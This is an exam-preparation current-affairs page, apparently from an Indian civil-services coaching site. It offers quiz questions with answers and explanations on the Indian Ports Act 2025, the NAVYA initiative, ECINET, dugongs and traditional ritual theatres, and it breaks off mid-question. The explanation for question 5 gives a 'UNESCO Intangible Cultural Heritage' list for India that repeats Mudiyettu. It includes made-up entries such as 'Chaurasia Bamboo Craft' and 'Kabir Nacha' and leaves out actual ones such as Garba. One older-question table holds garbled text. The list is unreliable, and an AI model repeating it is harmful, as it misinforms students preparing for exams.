{"id":2463,"date":"2025-09-29T13:02:27","date_gmt":"2025-09-29T13:02:27","guid":{"rendered":"https:\/\/iasquest.com\/?p=2463"},"modified":"2026-02-11T18:51:58","modified_gmt":"2026-02-11T18:51:58","slug":"daily-current-affairs-29-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-29-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 29-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements with respect to the Indian Ports Act, 2025:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. The Indian Ports Act, 2025 replaces the Indian Ports Act, 1908.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. Under the Act, the central government establishes the Maritime State Development Council (MSDC), chaired by the Prime Minister.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. Under the Act, appeals from the Dispute Resolution Committees (DRCs) are directed to the High Court, bypassing civil courts.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">4. The Act establishes State Maritime Boards as statutory entities tasked with managing and overseeing non-major ports.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(b) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(c) 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Answer: (b) 1, 3 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>In NEWS:<\/strong> The Indian Ports Act, 2025 replaces outdated provisions of the Indian Ports Act, 1908, with modern &amp; contemporary regulations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Key Provisions of the Indian Ports Act, 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li><strong>Replacement of the Indian Ports Act, 1908:<\/strong> The Bill repeals the outdated Indian Ports Act, 1908, and introduces a comprehensive framework for port management, including regulations on port operations, fee structures, and environmental safeguards. <strong>Hence statement 1 is correct.&nbsp;<\/strong><\/li>\n\n\n\n<li><strong>Establishment of the Maritime State Development Council (MSDC):<\/strong> The central government is required to establish the MSDC, chaired by the Union Minister for Ports, Shipping and Waterways. Other members include state ministers in charge of ports, secretaries of the Indian Navy and Coast Guard, and the secretary of the Union Ministry for Ports, Shipping and Waterways. The MSDC will issue guidelines on data collection, updation, storage, submission, and dissemination related to ports, ensuring transparency in port tariffs. <strong>Hence statement 2 is incorrect.&nbsp;<\/strong><\/li>\n\n\n\n<li><strong>Empowerment of State Maritime Boards:<\/strong> State Maritime Boards are recognized as statutory bodies responsible for administering non-major ports. <strong>Hence statement 4 is correct. <\/strong>They are tasked with overseeing port planning, infrastructure development, licensing, tariff regulation, and enforcement of safety, security, and environmental compliance.<\/li>\n\n\n\n<li><strong>Dispute Resolution Mechanism:<\/strong> State governments must establish Dispute Resolution Committees (DRCs) to adjudicate disputes among non-major ports, concessionaires, port users, and service providers. Appeals from these committees are directed to the High Court, bypassing civil courts. <strong>Hence statement 3 is correct.&nbsp;<\/strong><\/li>\n\n\n\n<li><strong>Compliance with Global Maritime Conventions:<\/strong> The Act mandates compliance with international maritime conventions such as MARPOL (International Convention for the Prevention of Pollution from Ships) and the Ballast Water Management Convention. Ports are required to prepare pollution control and disaster management plans, which will be audited periodically by the central government.<\/li>\n\n\n\n<li><strong>Tariff Transparency: <\/strong>The Act emphasizes transparency in port tariffs. It requires the publication of tariffs and charges electronically, ensuring that stakeholders have access to up-to-date information on port fees.<\/li>\n\n\n\n<li><strong>Environmental Safeguards: <\/strong>Ports are mandated to implement measures for pollution control, disaster preparedness, and compliance with environmental standards. The central government is empowered to conduct audits to ensure adherence to these safeguards.<\/li>\n\n\n\n<li><strong>Penalties and Enforcement: <\/strong>The Bill grants port officers, such as the conservator and health officer, powers of entry and inspection. However, the Bill lacks specific provisions for appeal mechanisms against penalties imposed by these officers.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following pairs:<\/strong> <strong>\u00a0\u00a0\u00a0\u00a0 <\/strong><br><strong>Port\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Well known as<\/strong> <br>1. Kamarajar Port\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 First major port in India registered as a company <br>2. Mundra Port\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Largest privately owned port in India <br>3. Visakhapatnam\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Largest container port in Port India <br><br><strong>How many of the above pairs are correctly matched?<\/strong> <br><br>(a) Only one pair <br><strong>(b) Only two pairs<\/strong> <br>(c) All three pairs <br>(d) None of the pairs<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172354\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172354<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><a href=\"https:\/\/prsindia.org\/billtrack\/the-indian-ports-bill-2025#:~:text=The%20Bill%20seeks%20to%20replace,Council%20and%20State%20Maritime%20Boards.\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/prsindia.org\/billtrack\/the-indian-ports-bill-2025#:~:text=The%20Bill%20seeks%20to%20replace,Council%20and%20State%20Maritime%20Boards<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>2. With reference to the \u2018NAVYA\u2019 initiative, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">1. It aimed at equipping adolescent girls aged 16\u201318 years.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">2. It requires a minimum qualification of Class 10, with vocational training mainly in non-traditional job roles.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">3. It is a pilot initiative of the Ministry of Social Justice and Empowerment.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(a) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(b) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Answer: (b) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>In NEWS: <\/strong>Empowering Adolescent Girls for a Viksit Bharat<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>NAVYA \u2013 Nurturing Aspirations through Vocational Training for Young Adolescent Girls:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>The <strong>Ministry of Women and Child Development (MWCD)<\/strong>, in convergence with <strong>Ministry of Skill Development and Entrepreneurship (MSDE),<\/strong> will launch the joint pilot initiative of both the Ministries for Skilling of Adolescent Girls NAVYA \u2013 Nurturing Aspirations through Vocational Training for Young Adolescent Girls. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>NAVYA is a pilot initiative aimed at equipping adolescent girls<strong> aged 16\u201318 years<\/strong> with a <strong>minimum qualification of Class 10<\/strong>, with vocational training mainly in non-traditional job roles. <strong>Hence statements 1 and 2 are correct.<\/strong><\/li>\n\n\n\n<li>This pilot initiative will be implemented in 27 Districts of the country which include Aspirational districts and districts of North eastern States spanning across 19 States, reflecting the Government&#8217;s inclusive and targeted approach to reaching underserved regions and vulnerable populations.<\/li>\n\n\n\n<li>As part of the launch, both Ministries will formalize their collaboration to institutionalize convergence on skilling efforts for adolescent girls.<\/li>\n\n\n\n<li>The programme will draw upon the strengths of Pradhan Mantri Kaushal Vikas Yojana (PMKVY) and other flagship skill development schemes.<\/li>\n\n\n\n<li>The launch event will feature interactions with adolescent girl trainees, distribution of PMKVY and PM Vishwakarma certificates.<\/li>\n\n\n\n<li>Through NAVYA, Government of India will reaffirm its commitment to empowering girls with skills, confidence, and opportunities\u2014ensuring that every young woman becomes a catalyst in India\u2019s journey towards a developed, self-reliant, and inclusive future.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q.<\/strong> <strong>With reference to Pradhan Mantri Kaushal Vikas Yojana, consider the following statements:<\/strong> <br><br>1. It is the flagship scheme of the Ministry of Labor and Employment.<br>2. It, among other things, will also impart training in soft skills, entrepreneurship, financial and digital literacy.<br>3. It aims to align the competencies of the unregulated workforce of the country to the National Skill Qualification Framework. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 3 only <br>(b) 2 only <br><strong>(c) 2 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172356\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172356<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><a><\/a><strong>3. The \u2018ECINET\u2019, a e-sign feature recently launched by the Election Commission of India is aimed at:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">(a) Facilitating electronic voting for overseas voters.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(b) Preventing fraudulent addition or deletion of names in the electoral roll.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(c) Enabling blockchain-based digital voting.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(d) Linking Voter ID with PAN for tax compliance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Answer: (b) Preventing fraudulent addition or deletion of names in the electoral roll.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>In NEWS: <\/strong>Election Commission launches e-sign feature for addition, deletion, and correction of voter names<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>ECINET:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-42\">\n<li>Election Commission of India (ECI) launched an <strong>e-sign authentication feature<\/strong> in ECINET for voter list addition, deletion, and correction.<\/li>\n\n\n\n<li>It uses <strong>Aadhaar-based OTP verification<\/strong> for applicants through their Aadhaar-linked mobile number.<\/li>\n\n\n\n<li>Ensures that only genuine voters can request changes to the electoral roll.<\/li>\n\n\n\n<li>ECINET is a <strong>unified digital platform<\/strong> integrating more than 40 ECI applications for voters, officials, and stakeholders.<\/li>\n\n\n\n<li>Initially piloted in select states during by-elections; nationwide rollout started in September 2025.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-44\">\n<li><strong>Prevents fraudulent voter roll manipulations<\/strong> like fake deletions or multiple additions. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li><strong>Strengthens electoral integrity<\/strong> by creating a digital audit trail of applications.<\/li>\n\n\n\n<li>Promotes <strong>citizen convenience and digital governance<\/strong> by enabling remote, paperless services.<\/li>\n\n\n\n<li>Enhances <strong>transparency and accountability<\/strong> in electoral roll management.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Challenges &amp; Concerns:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-46\">\n<li><strong>Digital divide<\/strong> may exclude citizens without Aadhaar-linked mobiles or digital literacy.<\/li>\n\n\n\n<li><strong>Privacy risks<\/strong> due to linking voter services with Aadhaar and mobile authentication.<\/li>\n\n\n\n<li><strong>Dependence on Aadhaar ecosystem and telecom networks<\/strong> could cause delays or mismatches<\/li>\n\n\n\n<li><strong>Need for fallback mechanisms<\/strong> for those unable to use e-sign.<\/li>\n\n\n\n<li><strong>Administrative and legal challenges<\/strong> in ensuring uniform, inclusive implementation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/elections\/eci-launches-e-sign-feature-for-addition-deletion-correction-of-voter-names\/article70089365.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/elections\/eci-launches-e-sign-feature-for-addition-deletion-correction-of-voter-names\/article70089365.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>4. With reference to \u2018dugong\u2019, a mammal found in India, which of the following statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">1. Dugong is a strictly marine mammal, occurring exclusively in coastal and marine waters, and absent in freshwater ecosystems.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">2. In India, its distribution is primarily restricted to the Gulf of Mannar, Palk Bay, Gulf of Kachchh, and the Andaman &amp; Nicobar Islands.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">3. It is classified as Vulnerable under the IUCN Red List of Threatened Species.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>In NEWS:<\/strong> IUCN formally adopted a motion recognising India\u2019s first Dugong Conservation Reserve in the Palk Bay spread over Thanjavur and Pudukkottai districts.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Dugong:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-61\">\n<li>Dugong (<em>Dugong dugon<\/em>) is a <strong>marine herbivorous mammal<\/strong>, also known as the <strong>\u201csea cow.\u201d<\/strong><\/li>\n\n\n\n<li>Closely related to manatees but found only in <strong>marine waters<\/strong> (not freshwater). <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Feeds primarily on <strong>seagrass meadows<\/strong>, making it a keystone species for coastal ecosystems.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Distribution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-63\">\n<li>Found in <strong>warm coastal waters<\/strong> of the <strong>Indian Ocean and western Pacific Ocean<\/strong>.<\/li>\n\n\n\n<li>In India: concentrated in the <strong>Gulf of Mannar<\/strong>, <strong>Palk Bay<\/strong>, <strong>Gulf of Kachchh<\/strong>, and the <strong>Andaman &amp; Nicobar Islands<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Conservation Status<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-65\">\n<li><strong>IUCN Red List<\/strong>: Vulnerable. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Wildlife (Protection) Act, 1972<\/strong>: Schedule I (highest protection)<\/li>\n\n\n\n<li><strong>CITES<\/strong>: Appendix I<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>Threats<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-67\">\n<li>Loss and degradation of <strong>seagrass habitats<\/strong> due to coastal development, pollution, trawling.<\/li>\n\n\n\n<li><strong>Bycatch mortality<\/strong> in gillnets and trawlers.<\/li>\n\n\n\n<li><strong>Boat collisions<\/strong> and entanglement.<\/li>\n\n\n\n<li><strong>Poaching<\/strong> for meat, oil, and body parts.<\/li>\n\n\n\n<li>Climate change affecting <strong>seagrass ecosystems<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Conservation Measures in India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-69\">\n<li><strong>Dugong Conservation Reserve<\/strong> announced in <strong>Palk Bay, Tamil Nadu<\/strong> (2022).<\/li>\n\n\n\n<li>Inclusion under the <strong>\u201cDugong Recovery Program\u201d<\/strong> of the Ministry of Environment, Forest and Climate Change.<\/li>\n\n\n\n<li>Efforts for <strong>seagrass restoration<\/strong> and community participation in Gulf of Mannar &amp; Andaman regions.<\/li>\n\n\n\n<li>Awareness programmes among coastal fishing communities.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2015)<\/strong> <br><br><strong>Q. With reference to \u2018dugong\u2019, a mammal found in India, which of the following statements is\/are correct?<\/strong> <br><br>1. It is a herbivorous marine animal.<br>2. It is found along the entire coast of India.<br>3. It is given legal protection under Schedule I of the Wildlife (Protection) Act; 1972. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 and 2 <br>(b) 2 only <br><strong>(c) 1 and 3<\/strong> <br>(d) 3 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/dugong-redux\/article70101867.ece#:~:text=IUCN%20recognition,over%20Thanjavur%20and%20Pudukkottai%20districts\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/dugong-redux\/article70101867.ece#:~:text=<\/strong><\/a><a href=\"https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/dugong-redux\/article70101867.ece#:~:text=IUCN%20recognition,over%20Thanjavur%20and%20Pudukkottai%20districts\" target=\"_blank\" rel=\"noopener\"><strong>IUCN%20recognition<\/strong><\/a><a href=\"https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/dugong-redux\/article70101867.ece#:~:text=IUCN%20recognition,over%20Thanjavur%20and%20Pudukkottai%20districts\" target=\"_blank\" rel=\"noopener\"><strong>,<\/strong><\/a><a href=\"https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/dugong-redux\/article70101867.ece#:~:text=IUCN%20recognition,over%20Thanjavur%20and%20Pudukkottai%20districts\" target=\"_blank\" rel=\"noopener\"><strong>over%20Thanjavur%20and%20Pudukkottai%20districts<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><a><\/a><strong>5. Consider the following information:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table class=\"has-black-color has-white-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>S.No<\/strong><\/td><td><strong>Traditional Ritual Theatres of India<\/strong><\/td><td><strong>State\/Region<\/strong><\/td><td><strong>Description<\/strong><\/td><\/tr><tr><td><strong>1<\/strong><\/td><td>Kutiyattam<\/td><td>Kerala<\/td><td>blends Sanskrit drama with local traditions<\/td><\/tr><tr><td><strong>2<\/strong><\/td><td>Mudiyettu<\/td><td>Tamil Nadu<\/td><td>dance-drama of goddess Kali&#8217;s battle with demon Darika<\/td><\/tr><tr><td><strong>3<\/strong><\/td><td>Ramman<\/td><td>Kerala<\/td><td>Festival in honor of local deity Bhumiyal Devta<\/td><\/tr><tr><td><strong>4<\/strong><\/td><td>Ramlila<\/td><td>Northern India<\/td><td>Dramatic enactment of Ramayana during Dussehra<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>In which of the above rows is the given information correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">(a) 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(b) 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(c) 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(d) 1 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>Answer: (d) 1 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>In NEWS: <\/strong>Sacred Stages: Traditional Ritual Theatres of India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Four Key Indian Ritual Theatres on UNESCO\u2019s ICH List<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Kutiyattam (Kerala)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-82\">\n<li>Over 2,000 years old; blends Sanskrit drama with local Kerala traditions.<\/li>\n\n\n\n<li>Noted for codified eye &amp; hand gestures.<\/li>\n\n\n\n<li>Performances can last up to 40 days.<\/li>\n\n\n\n<li>Performed in temple theatres (kuttampalams). <strong>Hence row 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Mudiyettu (Kerala)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-84\">\n<li>Annual ritual dance-drama of goddess Kali&#8217;s battle with demon Darika.<\/li>\n\n\n\n<li>Village-wide participation across castes.<\/li>\n\n\n\n<li>Involves ritual drawing (kalamezhuthu), masks, costumes. <strong>Hence row 2 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Ramman (Uttarakhand)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-86\">\n<li>Festival in honor of local deity Bhumiyal Devta.<\/li>\n\n\n\n<li>Masked dances, Ramayana recitations.<\/li>\n\n\n\n<li>Entire village contributes based on caste roles. <strong>Hence row 3 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Ramlila (Northern India)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>Dramatic enactment of Ramayana during Dussehra.<\/li>\n\n\n\n<li>Community-based with amateur actors.<\/li>\n\n\n\n<li>Performed in temple grounds, public squares. <strong>Hence row 4 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>List of UNESCO Intangible Cultural Heritage (ICH) elements in India:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-90\">\n<li>Kutiyattam \u2013 Kerala<\/li>\n\n\n\n<li>Mudiyettu \u2013 Kerala<\/li>\n\n\n\n<li>Ramman \u2013 Uttarakhand<\/li>\n\n\n\n<li>Ramlila \u2013 Multiple states (mainly Uttar Pradesh, Bihar, Madhya Pradesh, Rajasthan)<\/li>\n\n\n\n<li>Chhau Dance \u2013 Jharkhand, Odisha, West Bengal<\/li>\n\n\n\n<li>Kalbelia Folk Songs and Dance \u2013 Rajasthan<\/li>\n\n\n\n<li>Sankirtana \u2013 Manipur<\/li>\n\n\n\n<li>Bamboo Craftsmanship \u2013 Northeast India (Various states)<\/li>\n\n\n\n<li>Yoga \u2013 Nationwide (originated in Uttarakhand)<\/li>\n\n\n\n<li>Mudiyettu \u2013 Kerala<\/li>\n\n\n\n<li>Tangka Painting \u2013 Sikkim, Himachal Pradesh<\/li>\n\n\n\n<li>Langa-Mangani Folk Music and Dance \u2013 Rajasthan<\/li>\n\n\n\n<li>Chaurasia Bamboo Craft \u2013 Bihar<\/li>\n\n\n\n<li>Kabir Nacha \u2013 Jharkhand<\/li>\n<\/ol>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Which one of the following was the latest inclusion in the Intangible Cultural Heritage List of UNESCO?<\/strong> <br><br>(a) Chhau dance <br>(b) Durga puja <br><strong>(c) Garba dance<\/strong> <br>(d) Kumbh mela<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172657\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172657<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>6. With reference to 